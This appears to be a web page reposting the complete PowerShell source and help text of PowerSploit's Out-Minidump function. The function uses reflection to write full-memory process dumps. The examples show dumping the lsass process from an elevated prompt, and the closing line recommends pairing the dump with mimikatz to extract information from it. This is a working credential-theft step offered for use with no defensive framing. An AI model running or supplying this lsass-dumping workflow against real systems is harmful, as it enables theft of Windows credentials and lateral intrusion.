The original source of this function is available on Github here
You can use this function to generate a process dump file using Powershell.
function Out-Minidump
{
[CmdletBinding()]
Param (
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True)]
[System.Diagnostics.Process]
$Process,
[Parameter(Position = 1)]
[ValidateScript({ Test-Path $_ })]
[String]
$DumpFilePath = $PWD
)
BEGIN
{
$WER = [PSObject].Assembly.GetType('System.Management.Automation.WindowsErrorReporting')
$WERNativeMethods = $WER.GetNestedType('NativeMethods', 'NonPublic')
$Flags = [Reflection.BindingFlags] 'NonPublic, Static'
$MiniDumpWriteDump = $WERNativeMethods.GetMethod('MiniDumpWriteDump', $Flags)
$MiniDumpWithFullMemory = [UInt32] 2
}
PROCESS
{
$ProcessId = $Process.Id
$ProcessName = $Process.Name
$ProcessHandle = $Process.Handle
$ProcessFileName = "$($ProcessName)_$($ProcessId).dmp"
$ProcessDumpPath = Join-Path $DumpFilePath $ProcessFileName
$FileStream = New-Object IO.FileStream($ProcessDumpPath, [IO.FileMode]::Create)
$Result = $MiniDumpWriteDump.Invoke($null, @($ProcessHandle,
$ProcessId,
$FileStream.SafeFileHandle,
$MiniDumpWithFullMemory,
[IntPtr]::Zero,
[IntPtr]::Zero,
[IntPtr]::Zero))
$FileStream.Close()
if (-not $Result)
{
$Exception = New-Object ComponentModel.Win32Exception
$ExceptionMessage = "$($Exception.Message) ($($ProcessName):$($ProcessId))"
# Remove any partially written dump files. For example, a partial dump will be written
# in the case when 32-bit PowerShell tries to dump a 64-bit process.
Remove-Item $ProcessDumpPath -ErrorAction SilentlyContinue
throw $ExceptionMessage
}
else
{
Get-ChildItem $ProcessDumpPath
}
}
END {}
}
Description and how to use this function :
SYNOPSIS
Generates a full-memory minidump of a process.
PowerSploit Function: Out-Minidump
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
DESCRIPTION
Out-Minidump writes a process dump file with all process memory to disk.
This is similar to running procdump.exe with the ‘-ma’ switch.
PARAMETER Process
Specifies the process for which a dump will be generated. The process object
is obtained with Get-Process.
PARAMETER DumpFilePath
Specifies the path where dump files will be written. By default, dump files
are written to the current working directory. Dump file names take following
form: processname_id.dmp
EXAMPLE
Out-Minidump -Process (Get-Process -Id 4293)
Description
-----------
Generate a minidump for process ID 4293.
EXAMPLE
Get-Process lsass | Out-Minidump
Description
-----------
Generate a minidump for the lsass process. Note: To dump lsass, you must be
running from an elevated prompt.
EXAMPLE
Get-Process | Out-Minidump -DumpFilePath C:\temp
Description
-----------
Generate a minidump of all running processes and save them to C:\temp.
INPUTS
System.Diagnostics.Process
You can pipe a process object to Out-Minidump.
OUTPUTS
System.IO.FileInfo
This script is a part of a tool suite available here. This script can be combined with mimikatz tool to get information from a dump file from the process lsass.